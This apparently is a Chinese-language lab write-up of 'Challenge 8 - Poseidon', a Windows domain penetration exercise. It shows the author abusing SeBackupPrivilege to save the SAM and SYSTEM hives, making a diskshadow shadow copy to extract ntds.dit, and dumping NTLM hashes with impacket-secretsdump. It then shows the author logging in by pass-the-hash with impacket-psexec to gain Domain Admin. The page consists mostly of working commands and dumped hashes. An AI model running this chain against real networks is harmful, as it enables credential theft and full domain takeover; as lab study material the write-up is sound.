Challenge 8 - Poseidon(1)

 Challenge 8 - Poseidon(1)

檢視 jackie 的權限，whoami /priv 發現有 SeBackupPrivilege

導出 sam & system

reg save hklm\sam c:\users\jackie\Documents\sam

reg save hklm\system c:\users\jackie\Documents\system

└─$ impacket-secretsdump -sam ./sam -system ./system LOCAL

Administrator:500:aad3b435b51404eeaad3b435b51404ee:8fea81a19d172de0c445c8072b9a1697::: 

使用 impacket-psexec，└─$ impacket-psexec -hashes :8fea81a19d172de0c445c8072b9a1697 administrator@192.168.163.162

evil-winrm，└─$ evil-winrm -i 192.168.163.162 -u Administrator -H 8fea81a19d172de0c445c8072b9a1697

都無法登入

看來要改 COPY ntds.dit 檔案，使用 robocopy 進行複製出現執行中無法複製

參考這一篇 : https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/

編輯一個 raj.dsh 檔案如下

set context persistent nowriters

add volume c: alias raj

create

expose %raj% z:

編輯完畢後使用 unix2dos 進行轉換，└─$ unix2dos raj.dsh 

建立一個 c:\Temp 資料夾，上傳 raj.dsh 檔案然後執行 diskshadow /s raj.dsh

再複製一次 ntds.dit，使用指令 robocopy /b z:\windows\ntds . ntds.dit

成功複製出來了

依樣抓回 kali 使用 impacket-secretsdump -ntds ntds.dit -system system local

Administrator:500:aad3b435b51404eeaad3b435b51404ee:3bcdd818f7ec942ac91aa30d8db71927:::

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

直接 impacket-psexec 進去，└─$ impacket-psexec -hashes :3bcdd818f7ec942ac91aa30d8db71927 administrator@192.168.163.162

獲取 local.txt & proof.txt

完成 Sub Domain DC 的完整權限，獲取 sub domain Domain Admin 的 HASH

 - sub\administrator:3bcdd818f7ec942ac91aa30d8db71927